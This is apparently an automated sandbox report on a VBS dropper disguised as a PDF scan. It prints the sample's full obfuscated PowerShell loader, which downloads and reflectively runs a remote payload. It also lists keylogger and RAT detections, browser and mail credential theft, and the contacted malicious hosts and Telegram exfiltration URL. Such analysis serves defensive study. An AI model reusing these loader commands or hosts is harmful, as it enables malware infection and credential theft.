@(rrhtxt.lssws/klo/ue.hsupwsrell'+'or.sup//:ptthrrh, rrhdesativadorrh, rr'+'hdesativadorrh, rrhdesativadorrh, rrhdesativado'+'rr'+'h, rrh1rrh, rrhsvchostrrh, rrhdesativ'+'adorrh, rrhdesat'+'ivadorrh,rrhdesati'+'vadorrh,rrhdesativadorrh,rrhdesativadorrh,rrh1rrh,rrhdesativadorrh));')-creplace ([char]82+[char]114+[char]72),[char]39 -replace([char]98+[char]90+[char]78),[char]36 -creplace'zar',[char]124) \| . ( $pshome[4]+$pshome[34]+'x')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnylpoaw1hz2vvcmwgpsbsckhodhrwczovlzewmtcuzmlszw1hawwuy29tl2fwas9mawxll2dldd9mawxla2v5ptjbjysnyv9iv285umv1nccrjzv0n0jvmwtwz3nkoxbuoxbnu1nsdln0jysnr3juveldzkzobvrlajnmqzztuxrjy09jx1qzjysnnxcmcgtfdmlkpwzkngy2mtriyjiwowm2mmmxnzmwotq1mtc2yta5mdrmifjysdtiwk53zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o2jatmltywdlqnl0zxmgpsbiwk53zwjdbgllbnqurg93bmxvywreyxrhkgjatmltywdlvxjskttiwk5pbwfnzvrlehqgpscrjybbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzyhiwk5pbwfnzuj5dgvzkttiwk5zdgfydezsywcgpsbsckg8pejbu0u2nf9tvefsvd4+unjio2jatmvuzezsywcgpsbsckg8pejbu0u2nf9ftkq+pljysdtiwk5zdgfydeluzgv4id0gjysnylpoaw1hz2vuzxh0lkluzgv4t2yoylpoc3rhcnrgbgfnkttiwk5lbmrjbmrleca9igjatmltywdlvgv4dc5jbmqnkydlee9mkgjatmvuzezsyscrj2cpo2jatnn0yxj0sw5kzxgglwdlidaglwfuzcbiwk5lbmrjbmrlecatz3qgylpoc3rhcicrj3rjbicrj2rljysnedtiwk5zdgfydeluzgv4ics9igjatnn0yxj0rmxhzy5mzw5ndgg7ylpoymfzzty0tccrj2vuz3roid0gylpozw5ksw5kzxggjysnlsbiwk5zdgfyjysndeluzgv4o2jatmjhc2u2nenvbw1hbmqgpsbiwk5pbwfnjysnzvrlehquu3vic3ryascrj25nkgjatnn0yxj0sw5kzxgsigjatmjhc2u2nexlbmd0ack7ylpoymfzzty0uicrj2v2zxjzzwqgpsatam9pbiaoylpoymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpifpbuibgb3jfywnolu9iamvjdcb7igjatl8gjysnfslblteuli0oylpoymfzzty0q29tbwfuzc5mzw5ndggpxttiwk5jb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkgjatmjhc2u2jysnnfjldmvyc2vkkttiwk5sb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoylpoy29tjysnbwfuzej5dgvzkttiwk52ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkfjysfzbsvjysck7ylpodmfptwv0ag9klkludm9rzshiwk5udwxslcbakfjyshr4dc5mu1nxuy9rbg8vdwuuahn1chdzcmvsbccrj29ylnn1cc8vonb0dghsckgsifjysgrlc2f0axzhzg9sckgsifjyjysnsgrlc2f0axzhzg9sckgsifjysgrlc2f0axzhzg9sckgsifjysgrlc2f0axzhzg8nkydscicrj0gsifjysdfsckgsifjyshn2y2hvc3rsckgsifjysgrlc2f0axynkydhzg9sckgsifjysgrlc2f0jysnaxzhzg9sckgsunjizgvzyxrpjysndmfkb1jyscxsckhkzxnhdgl2ywrvunjilfjysgrlc2f0axzhzg9sckgsunjimvjyscxsckhkzxnhdgl2ywrvunjiksk7jyktq1jlcexbq2ugkftjsefyxtgyk1tjsefyxtexnctby0hbcl03miksw2niqxjdmzkgic1yrvbsqunfkftjsefyxtk4k1tjsefyxtkwk1tjsefyxtc4ksxby0hbcl0zniatq1jlcexbq2unwkfsjyxby0hbcl0xmjqpihwgliaoicrwu2hvtwvbnf0rjfbzag9nrvsznf0rj1gnkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('bznimageurl = rrhhttps://1017.filemail.com/api/file/get?filekey=2a'+'a_bwo9reu4'+'5t7bu1kvgsd9pt9pgsslvst'+'grnticffhmtkj3lc6sqticoc_t3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f rrh;bznwebclient = new-object system.net.webclient;bznimagebytes = bznwebclient.downloaddata(bznimageurl);bznimagetext ='+' [system.text.encoding]::utf8.getstring(bznimagebytes);bznstartflag = rrh<<base64_start>>rrh;bznendflag = rrh<<base64_end>>rrh;bznstartindex = '+'bznimagetext.indexof(bznstartflag);bznendindex = bznimagetext.ind'+'exof(bznendfla'+'g);bznstartindex -ge 0 -and bznendindex -gt bznstar'+'tin'+'de'+'x;bznstartindex += bznstartflag.length;bznbase64l'+'ength = bznendindex '+'- bznstar'+'tindex;bznbase64command = bznimag'+'etext.substri'+'ng(bznstartindex, bznbase64length);bznbase64r'+'eversed = -join (bznbase64command.tochararray() zar foreach-object { bzn_ '+'})[-1..-(bznbase64command.length)];bzncommandbytes = [system.convert]::frombase64string(bznbase6'+'4reversed);bznloadedassembly = [system.reflection.assembly]::load(bzncom'+'mandbytes);bznvaimethod = [dnlib.io.home].getmethod(rrhvairrh);bznvaimethod.invoke(bznnull, @(rrhtxt.lssws/klo/ue.hsupwsrell'+'or.sup//:ptthrrh, rrhdesativadorrh, rr'+'hdesativadorrh, rrhdesativadorrh, rrhdesativado'+'rr'+'h, rrh1rrh, rrhsvchostrrh, rrhdesativ'+'adorrh, rrhdesat'+'ivadorrh,rrhdesati'+'vadorrh,rrhdesativadorrh,rrhdesativadorrh,rrh1rrh,rrhdesativadorrh));')-creplace ([char]82+[char]114+[char]72),[char]39 -replace([char]98+[char]90+[char]78),[char]36 -creplace'zar',[char]124) \| . ( $pshome[4]+$pshome[34]+'x')"	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: GetLocaleInfoA,

13_2_00417A20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 13_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

13_2_00412A15

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7440, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7440, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7440, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7440, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7440, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	421 Scripting	Valid Accounts	1 Native API	421 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	311 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	31 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Scan12112024,pdf.vbs	8%	ReversingLabs	Script.Dropper.Heuristic

Source	Detection	Scanner	Label
https://1017.filemail.com/api/file/get?file	0%	Avira URL Cloud	safe
http://sws.swpushroller.eu/swsk/P4.php	0%	Avira URL Cloud	safe
https://1017.filemail.com/api/file/get?filekey=2A	0%	Avira URL Cloud	safe
http://sws.swpushroller.eu	0%	Avira URL Cloud	safe
http://pus.rollerswpush.eu/olk/SWSSL.txt	100%	Avira URL Cloud	malware
http://sws.swpushroller.eu/swsk/api.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pus.rollerswpush.eu	141.98.10.88	true	true	unknown
paste.ee	188.114.97.3	true	false	high
reallyfreegeoip.org	188.114.97.3	true	false	high
ip.1017.filemail.com	142.215.209.78	true	false	high
api.telegram.org	149.154.167.220	true	false	high
sws.swpushroller.eu	141.98.10.88	true	true	unknown
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high
1017.filemail.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.68	false		high
http://checkip.dyndns.org/	false		high
http://sws.swpushroller.eu/swsk/P4.php	true	Avira URL Cloud: safe	unknown
https://paste.ee/d/LOToW	false		high
http://pus.rollerswpush.eu/olk/SWSSL.txt	true	Avira URL Cloud: malware	unknown
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:936905%0D%0ADate%20and%20Time:%2012/11/2024%20/%2022:16:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20936905%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/173.254.250.68$	svchost.exe, 0000000D.00000002.2565948471.0000000005468000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://1017.filemail.com/api/file/get?file	powershell.exe, 00000008.00000002.1867399613.0000020BB0DBD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.telegram.org	svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/lB	svchost.exe, 0000000D.00000002.2565948471.00000000055AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://1017.filemail.com	powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	false		high
https://analytics.paste.ee	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 00000008.00000002.1867399613.0000020BB08BD000.00000004.00000800.00020000.00000000.sdmp	false		high
